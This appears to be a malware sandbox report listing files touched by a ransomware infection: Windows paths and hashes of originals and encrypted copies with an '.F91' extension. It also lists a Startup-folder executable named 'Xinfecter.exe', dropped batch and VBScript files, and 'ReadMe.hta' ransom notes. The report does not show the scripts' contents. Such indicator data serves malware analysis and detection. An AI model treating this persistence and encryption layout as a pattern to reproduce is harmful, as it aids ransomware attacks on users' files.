C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\CiAB0001.000

Filesize
241B

MD5
3266a5975c4795b31384bdb8ddd5de0e

SHA1
ec05f47518f1fbbc18c3642f1d68af695c7915ea

SHA256
d39703597757cb13894b54d9e1737069e830a927bdf8203af847f3d41ac749c9

SHA512
7dd641bf4d29c8a9a39e2b34da6f5e353cd7d60390af95586eb0face0ce8f81fdec56b0943635d3942aee400ce000e081878371f303564ddf307c8c85b77b445

Download Submit
C:\ProgramData\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\cab1.cab

Filesize
5.5MB

MD5
991f28f27b6cb7b08d5ef7b2d3ac970c

SHA1
57581efc4dcb26650b4080012650927059cb556e

SHA256
714c157ff7987e8f97f80821828f79162a1447982ec54df95b65268bdd33ffcd

SHA512
ee27c2dfb2db2745c07617f52b3e8cd1a14e24d45392864fc56c5973c4646443e6118fca2b4774620eec71865806cfa579f95ade1c0aa1adf7615d55828595bd

Download Submit
C:\ProgramData\Package Cache\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}v14.30.30704\packages\vcRuntimeAdditional_amd64\cab1.cab

Filesize
5.4MB

MD5
185eec31dfd5008ef6c1ac911605c9b8

SHA1
3615fbca8484757919adab55dd6ea939c28aee46

SHA256
2f1a27323adfb3123a0c171df51c711b541a924cfdc9c8a7b03383c15533b4cc

SHA512
4f558873ec5360380c0cb5aabf93434f934ddb2a06b8d8d0b1351e95d2742bc0cd521f0f2f31046b7385a2302a508e07a52d9e8e229e5cda94b2f755a1a6ddb9

Download Submit
C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64\sz170800.cab

Filesize
1KB

MD5
ad3eaa4068b53557e2e641b3fe59b5be

SHA1
84a85ac1b090c02baed6c0751bbe0b8db7c433b2

SHA256
4a6ffde5c2f5a48a73c3f4cba34567e8adca832ee59bbb7b6aac71180f727809

SHA512
efdccdfca2ae6741e28bce6ac7f9083944a8fbf6cce97a75317c628d5aebc012e13f0732db088df853bc156668653ab99267190d31b4abf091d2e5d8d019e960

Download Submit
C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64\sz170800.cab_[[email protected]].F91

Filesize
1KB

MD5
767fe68fbec90e8928312b3e4dbcd6b0

SHA1
671d2a13a2b1f45349856646acc30022a0ee12fe

SHA256
cabbe81fdde2d955b48455cde40c1901f59a7a89e0cba53bebf9087eae9ea8d2

SHA512
3d6e3d2ca0fa7a963967287deef7a08385d1353e3ff367bfd6af568f117aca355b84d692057e8d6d502cd4d7b92e82908edee3be46c127e3fc58ffa4338ecff5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1_[[email protected]].F91

Filesize
264KB

MD5
e97164e95475f5115b6784f4ae65badf

SHA1
7a1ed2fca5f3da925aba8e046237d7a3aabbf8a3

SHA256
60f1476f7f0a47de4eb436215101bd5a0dd8a4095749ef3f47468b6fb0aec234

SHA512
ac511680db799c9bd9a5be1bd1e070d1387275bc844574f0047b66a64428ce81731acd5ed670fb27ea534a3ae5cbc62f80e29210923a0f9ca5de55c16dfcf73f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_0_[[email protected]].F91

Filesize
8KB

MD5
363ef018262f3aa5c09717f06485b289

SHA1
1cd21dd9c7e4a1758de58e734dc3b94888fc6411

SHA256
1273e462dccabf421bf463506141c824735f16d3f0960be8e07d4fb279286807

SHA512
10296edc9578a967d974fe0b2576d05edb1bba373c86582321fa1066325821d804291b38a2d63818e8cd022be55efd71fe76e9cf616fac28f2e72aab7ec96779

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\Microsoft at Home~.feed-ms_[[email protected]].F91

Filesize
28KB

MD5
dadf4256ea6331fce684cc9b299ea0c5

SHA1
e5e4964b06b87ef125578d7a1c0e01ce59eecd57

SHA256
da5deb2f5993a38982c3f10c68ad73fb8beac86f9b9d7efd5a633b04f0b80a83

SHA512
71d7e719a8d884784272520b1aed8022da2ab23912d5bfddbf9ecb59397cf183123050f13fe0850b8bf1ada7ade361cdd6475bbfbcae1e731dbe25b0917ab193

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.htm

Filesize
256B

MD5
15661f9e8d829a2c89870fdf21d08bb7

SHA1
9c68c7337b1c09c4f3722e20090b18800ca783f2

SHA256
73b1d00332e01cc4b5f25b85312f57200ea80598b43977479fdfc9dfb77a5f6e

SHA512
fc6f0af6b620ef916f56e4172f7c0bdcc2ff14c10a0cb8a8f4d3e412d56c21f8e417bc093cc6363590ac91eca913ef51edb8994ea37f9f1c9653cebc186b1607

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.htm_[[email protected]].F91

Filesize
518B

MD5
a27e5d815be6753c378c274566fe2923

SHA1
f5a287d6d3f94342920d347c5b257b31639b837f

SHA256
29d656467748b1f776266e9cf60ad2b56fcd8d7b7e75aed2aedb6538cddb323a

SHA512
5964a3e686276966c98c4b7f92958ed03f17559db461123e9412dd1a076719a94e54dd973033741f7e534a0db041bf05bd7939c408b5d5ccd1e65f3a94432484

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_1.emf

Filesize
5KB

MD5
2cb7101b66c38ef6a21871e41ed6d343

SHA1
9f04f8ee62a419ffda9afd1d5f58a14191225b23

SHA256
259629a186208e9c273f02f0d3e122c6bfa35159fdba3686f202e110be01173b

SHA512
7c714a8c78d2aa551cba2505433e1da3b3f4b42de7bcf9ac38a77d2a2ec8c587fe8400c0378343164041b89c0de23f2adfb3e5f09f1a3e500726c380efadb817

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_1.emf_[[email protected]].F91

Filesize
5KB

MD5
a0d28226cf9fb18ac35a70373b82dd53

SHA1
1f2359ac396d224fdc425631839799a3e56623f0

SHA256
f13cc58cc5e6f69a7b08e8ac21ed722100a997594da43168cbbe02b91cdf433d

SHA512
40c3d1379c2765721f17a14c718136b98f4e620a2eac9e6bbd30d7c5a630e7ce5cbc9c02cf8fa4e9f690533b61d08e7ea50817cfa9710a3331618c7770af0ac5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_2.emf

Filesize
10KB

MD5
399ee6b451ea8829b565ba7c66634e4c

SHA1
738517188f69c55590ae9ea606043c205369e91d

SHA256
f6b7c7f7c6aa49e0c76f2734f6105920f102ced2656a1b5e99ddcb3218bb92ad

SHA512
b36ce4cab4c785a1c9e080f82b5db0f7aa80458551989b4d6dce399cbf32ef38c0648ec741bcde3735c2a5a53a4048026ea3e6a21ab06739735b0b0a690b8e2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_2.emf_[[email protected]].F91

Filesize
10KB

MD5
cf5a02723738dad360cfe87c70585cd5

SHA1
a5362f83d59c959d3a76ad67416c6ee273fbee70

SHA256
a3467d9e23b76c453c93b4429f7c28805b5eb432842311fe9ff9fcf0d37e92b4

SHA512
3058594aeecbc0ff2a68c83c8a6c1aaa8039890a332959db337ef9d3396ac9fcf0e69ccf3abdb01d180acc3f173caa4378428670db0028fda5aae846b07786f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Graph.emf

Filesize
113KB

MD5
567abac1c59ba615fb7462f277a46124

SHA1
06a7a06cd913cbb5612366879c8484c9f9b23285

SHA256
b1cc71a798d4346d46a93794e6d04d0f6d0d36b61e0cfd1bc47930264ec03f04

SHA512
286d406f24bc79ab777b8c9209d678c6bb244176e56ea244a4317a9f5b6f0e30c2c32d4d8669b7571547bd3b25ff62be57f136c4a6e22a89abd765a920b5461f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Graph.emf_[[email protected]].F91

Filesize
114KB

MD5
31de199f9d7af13dfa8a3ede2509135b

SHA1
fe8e3a28c780691235a7b360665ef466aa9f7836

SHA256
bf707d5a932d9183c7d834a1b9756c696e6bf385ec582961fefff3eabda2c23d

SHA512
250664ca290f64a207093d8b9ed92eaf9d3bb630d31d7f04fe2d4b7de93120cc271e07b7d56749a93676fc819d8afa867a1da17e31b5b49b096405e2c6a46cb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Memo.emf

Filesize
148KB

MD5
83447851208b6911627abed45167874a

SHA1
73607b043051962f6542f07cf8bd0b4afa1d704b

SHA256
6d7502e9b7fd6c0885e8296cd6b938a5fec6cd4c6d173c4c7a82da028398f0d3

SHA512
9b75ab3e6785f8ad365e7e7b3347c549fc645fee56286f8441eee2708c7431a8f4b0d837541e591b6656903565f1ede3819103a0e24f51b36857544165d2157e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Memo.emf_[[email protected]].F91

Filesize
148KB

MD5
d9726b047298c808fa481745cbaf1d54

SHA1
48b9a25b1d495462494c2f746f3cf25dcc573079

SHA256
9617cda96aed9f89ddc03d8b3c424b188573c731591e83048acfe50865831e51

SHA512
f0382adf0290094e919261d5af3da71d06185c7fd04575e761286f294fdceea6c4cfc3d5cb5534dd5d707a7e50a08567437f1aa17fc857ec3b6aa825f3f2dd72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Seyes.emf

Filesize
36KB

MD5
4de695ea8e4bb1e228fc4d6848a0df2b

SHA1
4199e75fbb31ea7e300ea3c79dc300b4e127ac15

SHA256
8745d462853929620eff57dd3ee71f11ce1ad50afdfafe620a856a971df0e4f5

SHA512
f5dda6c0559d062a2c78d4c692567277ae00c54584b3c466544d1db307a84ab8a8c45994fbd6d9002fce60d951c683589d4cb0c38ea658635b2c2815d66e88b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Seyes.emf_[[email protected]].F91

Filesize
36KB

MD5
f4784ab7e8a364dac1f1e47d82454292

SHA1
99bdd7665f4a950ec7e5095eb1b481ed89eb3abc

SHA256
0e1e330e80a9413a5472e599119c6994e847b70a71d4d26320acc2b7bd62f83d

SHA512
8a35bbd6e766f19e9fecbac04fe563b6ea22cc77e06e490ed0e47e5cd8f7693bd077f367cd7b7f7f7b50e4ed96c8243a85b745aa3b953f2bc67e1312dc80c16f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Shorthand.emf

Filesize
79KB

MD5
61507e2e6dd08f3c3daedbc2b03f317f

SHA1
58a6b44557d5b6bd86c0be8815b29addbb0148ff

SHA256
2fa29f13e46650324674fa5656458bf70ac5026b1af4a8d3f55bf9af692246a8

SHA512
71fa7ea9073722deee65ae693f9ba544e6c77e376cb750c92d021133f5c5314809864f96e21f9392a8d6e6c528620358c9b26b524f25216224f86fa59b9699e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Shorthand.emf_[[email protected]].F91

Filesize
79KB

MD5
99d1eb67cbd8a6555e4917b7c2b6ad76

SHA1
8001268d3f7286ef429cc837ae5b21f7564a9028

SHA256
2cff981aebecacbe9b5aff0b6193a93bef07c384ea86c1782d84a048063da9d2

SHA512
778f703d0b673e8ff1e35e892adf5155191071f0a0c54081728b61658a7b767d1127b0594de97d76b5cab40d582ad919ccaca7ce818ca14d99e06767127c2259

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\To_Do_List.emf_[[email protected]].F91

Filesize
26KB

MD5
eb39b0be2e18dd2402ac5413f35b60f4

SHA1
7199c6733aafa294bf7e59444760bcf4d9ecc118

SHA256
738a27351f1f8f0e1ecdaa307cbf058a50c4ffe2e1c479d92ec418cca872d2e0

SHA512
c0064c9277f8bcd5eea6337832b047985ec55dbcda5886f1d39cc8d7aaecfba88737315d8f381de0700ffd887e8da59a8102636ed4af53b05ae220c8a419ec41

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\edbres00002.jrs_[[email protected]].F91

Filesize
2.0MB

MD5
58b7b6aa2e57f766becfa8ac62c6c050

SHA1
c674ec083df6771c6259056360c97f7d04ced42e

SHA256
83b5781781d655b9a094b369ef8af8d63a353605a6d8164eef5e7d929a2938de

SHA512
0474e8dc184263efc09ead28b86fd6cf0c7072545dc6c24780aea47cf737a500b37ece80dadd9926884b0c9a452c10200e214ed9f15d0b66eb51bfad5d8330af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\oeold.xml

Filesize
261B

MD5
5c59496b046ef5abed25e0b11aabc8af

SHA1
32b8fbb153cfbefc2239c4cfab2f1975cdf7121c

SHA256
f641b4ceb4e63a9e15528deb011140dcdc4d7f925c67fbc4108dba3e4d172710

SHA512
3a865fb922f2c9c710a96f021b781fbee19c3502806b3d496cb6eda33ceaef5ae10504aacbbcc9f3c84f64b3d66020f9fed5a26d1bb550cffbca85d0ad20b881

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\oeold.xml_[[email protected]].F91

Filesize
523B

MD5
79eef5341d4300aadb63c8d1343d3831

SHA1
b20d706129158c889985835c6254000123dd3d05

SHA256
e8805c307c158c30c33a1c594a32728380efacfb620b5635e58c79334b79f8b0

SHA512
c5bd7c646d44a5973a0b46d43f8611cd3ca2de029309768647efe976ccfd6b23d17eeaf928d8e8e7fe5d7275348eb87b8ab5311c0d346ba912c80d74e7025e66

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat

Filesize
32KB

MD5
7dcf1cd06a6c501736ffe180abbee2dc

SHA1
90178aedd9c571b7a502ef72d468f57d111bf23d

SHA256
77b4e87f7074aa901f5b244df21596aab59f03267a14c30605951856ca11f652

SHA512
f7dc90b037bb4dbce5043c13f82dcf787a2a9571e8bd84599d29c89dec8e9e3316715fef24d0ce498101d318880a20891213b8ffff973f382182c57eebe2ef0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat_[[email protected]].F91

Filesize
32KB

MD5
d6b3872b6a7c0bd358ff4bbeee0b7e7a

SHA1
e5d3487d3df4c484a3fdf39dcdf56b6f7a4d9dad

SHA256
bfbdaf3c0a209e1d2c11114c04f2b7184b13e0d5b9cca2a12c9fce4c4f4ac38a

SHA512
805209623316d47630744cf198df23ee897066713e0ab41269ab786af2256ea69bc730e69b9967be2b130123d581d3aa27beec249945afd195009c32ed600dfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\b53f3dad-7ee8-46e9-ae3a-9e65fd52e088.tmp

Filesize
88KB

MD5
c096f5af0585c54b21246d88213147c6

SHA1
9b127a210f3fe7f071ed0bdb35b9078e8ac18d9b

SHA256
d2eb7ef4a9e40e282d5fccee440c00232bc8031937e833dae0ce6233b69bad9f

SHA512
5cd13160f3cca0ee1594d954b6874b05aee53e8b7cfda705b22faef97f8e1da7610d9f1032a414b0acfad8e9fbd4bc264a3707dffdd140443e1cf39df80e5e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1748286850\CRX_INSTALL\manifest.json

Filesize
1KB

MD5
066a719564d37655bb216e10ba534c3f

SHA1
52ae0a5b15deb3060c8134f1cc2628c0fc29ab69

SHA256
2c1e8183ccdf1a16b33fc5f23ed69b73e01a86579eb0c9a1b174f68edeba3120

SHA512
dd8679cfac2dcd2d935fc782c73de49ed039fc4eadfe4a81d61bc878c09cb34561ed3c254ad65a6cff7bec2f68c17a82c7ce28284e4c023cff72dbfe19382867

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1748286850\CRX_INSTALL\manifest.json_[[email protected]].F91

Filesize
2KB

MD5
2aadc19ef2caa095375ff770e604e9b5

SHA1
d1105fd843152a729bb1e819ae8360f968462475

SHA256
370eae32c32034e08fc5f0e1dad603ede1cbcd8d0dcccff2aa4db7b38414f6a8

SHA512
02d4e01dcd782b498966d61a7020ce9ca2a01e634fa47857bdda7dcd0c86b1dfd476fd63ad0e4c6c9ccb07ae3a47e71441c6236a62b1eba5cd464acaa345d6b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1773658950\CRX_INSTALL\manifest.json

Filesize
1KB

MD5
3369c774d13045dfc88ded644beb7bb5

SHA1
53f19ef198124fb957f84200fdbf4b6203ed2e3c

SHA256
10e9be095ee53ef3b92007872c79d3fef40b7e600e1de9df15e6987a58f92875

SHA512
05f1264fa3a8b4e7068eccfc81d8cdd16ded249d8999d8e89429d40a07a192074710748110c1a79ccf51c02e926dac9046313f983b8461b9c2184ae827631818

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1773658950\CRX_INSTALL\manifest.json_[[email protected]].F91

Filesize
1KB

MD5
1eb36fd04ba70f88c373a6da935cf7bc

SHA1
fb214ab679f981b42cf5430181f1a32302f19014

SHA256
6cb22c75c5693c3f35e1a789ca39880dbbe86262e92388a9fb02b4d245d4a4af

SHA512
548bff625265986e5cf9ed9ee2d8f7823e76184574e174b0fda7ba25f920c23fde020c27d4890c810f182103f172a03f8e190ad080f584a4fef9dcb2a6155336

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1773658950\fb9d5fd7-75fe-4aba-b9ac-1952ae3870a8.tmp

Filesize
242KB

MD5
dac56f0fb350981bca4eba1bec024904

SHA1
7534c2318a99090db14b7d1e0e5342350a73cac1

SHA256
59f8c53805d337d3873060c118789c9f63b81b031ff96c4324f1d1513886ca08

SHA512
6bc9da63deb2bb2e60b3bb050251c73ab974e7bcf02ff124552f740fbda6960ba7dd180d8c96c38b05bfcc84ec16843dc55d3154b1166c89d96f2a20786bc306

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir2060_1773658950\fb9d5fd7-75fe-4aba-b9ac-1952ae3870a8.tmp_[[email protected]].F91

Filesize
242KB

MD5
87efd06d470fbbf22f2efb5b7cd8642d

SHA1
fa70598d5eaadee46778b2dc70ba5a9a17d5e73e

SHA256
937b501e349bc64481b494aadbf3bdd1ea0f6ac70d5c77d662628d14a817aa36

SHA512
58c9379494f6c3b697292c286d1c2b30eb33e67d98ba00d2108035bfd5a5229cd3ff0cfd953e07bb140f845dc69eefacc93b14d9aa9355f3fb6b805e78fcf866

Download Submit
C:\Users\Admin\AppData\N-Save.sys

Filesize
3KB

MD5
2d49a2231dcb6fb01d3e1e1438bb332b

SHA1
973c047037c8c7a71f41aeca6261b5a38c3f8405

SHA256
1fcbc31f986ea70e05f64c5fe7b88ca25dc2da391f2563e5b896117dfdb379e1

SHA512
c9a5de4427c5c87c272827ccd60b7736396bc45a548031512813513f1181a97527134e642414b7a8466e9696dcd45ab80f3beebd99d713b782d1b45abf94830a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe

Filesize
1.2MB

MD5
058df3567926ad6520a249a3050e8936

SHA1
6cc228fb8a77e57e597e80c8db8b935724276ff3

SHA256
9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556

SHA512
15d5faffb166f4b51c9f90b7f1e9710985f00173a57a64eaf8aeda729e551850e7a2ec4638c7b4cb8f2854813dc38c67bb4e9c7b008cda31868b2bd5aa9518a4

Download Submit
C:\Users\Admin\AppData\S-2153.bat

Filesize
138B

MD5
82a528cbf39b8ea7e2982e7b2305204c

SHA1
717836e0e2b304ed7ae239cc1db0f6f80e0419b1

SHA256
616738526c38e04f992b7b9fc60cb7feb3ee416bf47b69aa2c3a5f1a722a653b

SHA512
eff7654e171dbd9bc471718a7e14ee3c84a9edf948f4c8863c8107e653be8ba06bc7a2876d506d6e4ae7ef2280e820d04615ebcd88894ef01b3667d070241db3

Download Submit
C:\Users\Admin\AppData\S-6748.bat

Filesize
1KB

MD5
e13f173c022716ec4550c7503f8fa3ff

SHA1
023297f95522560a67e730c809a93e6f7dda595e

SHA256
4061ff45b9b4093fabd754148d4a2d4925edb0a5810730424dc3c083a2f20c2a

SHA512
71ad27ae5bc279b7898bf3c3a9a6e4bf1831b4c8b2513adfeeb940966bb4faa38bddbf4336277346096e8fc21e8c1a44003f2f95300608250c622b42f30d15f8

Download Submit
C:\Users\Admin\AppData\S-6748.bat

Filesize
2KB

MD5
6d3800e840e7b8c23839f3095b449e4d

SHA1
09f079086dca548b09e2b60a31e1a253fc8b31e2

SHA256
f7bb960633588fd265e758bb0bddc59858177679dc4b4ee0cbb6e6ec9f818825

SHA512
f79576852bde19f69f01ca6f2b922b7dc723a6237634ab81cbe4a114416026428140f7729a642fd15a66a03420b895218898faea1c0ed1b30e1f2990699e01f1

Download Submit
C:\Users\Admin\AppData\S-8459.vbs

Filesize
686B

MD5
ed7a274ff8ac640416952bfb5d6c927a

SHA1
6b33cd5b39db6e9a900336e446f64a137f0a0f42

SHA256
4d68e4a7a437eb4a7ad9c7b28bdda894a68ae41efba8a5e4d3a6a930bebfeea5

SHA512
8f3a4f071550afe716c5d39601cf1e8559084fbb701e95b28eb7685fed6d8a972e662ad19124a2242fd30c291b8dd1f18f1a2dcf56ac6c98f2bf96bac91510f3

Download Submit
C:\Users\Admin\Desktop\ReadMe.hta

Filesize
6KB

MD5
6571200fe73a8d5264a003acbab3c6e6

SHA1
d01fccd6974fc99364c65ee697ada1fd5ec13bec

SHA256
aee7d2da2270ec4c18bde715b9b2cab850fa1c218fb9cdce00f5c27ae619f139

SHA512
4806f465c10843218bf7658533b53dacfbe6899121db02caff0c1ecc2568323380a8d5d7d3e4714143259f7a74c52a762f89fc5ca020278b50640ddbc261caeb

Download Submit
C:\Users\ReadMe.hta

Filesize
85B

MD5
253a2dc8fcb8bd7e201f98dd9c292d46

SHA1
188dc3014138a80bec3e3b4aa60596cb881692a6

SHA256
21284429e6f9f43223cf6b6c5b9142f3041b22195d6d0dd6fb5eb236ea21d400

SHA512
42df471b16b5e80546a76aae6b04d3f71461bd32c709162642fc9103f70e9f35f01dfa79933f89567fc00ce48aad0f28e48ff822ac560ec415cddf939237becb

Download Submit
C:\Windows\SysMain.sys

Filesize
417B

MD5
5472f09dfbe45749d25d3c7bd7d5e990

SHA1
89583de97646eabe050ab4c5dfecdaaa36298368

SHA256
8f7dd3419a4bf3c1fe460f02baa1eab906f4c9cb6d1a112bcc193e97b9249fea

SHA512
c452f5aff1c4bd4f64d4ae453265953f8f17bada7340645db2f5c5314112dcc02cc53a9e08fc927be7b69b2a4d2d5e1e4f6bd67ea74a0a3f761c0514741fc7d1

Download Submit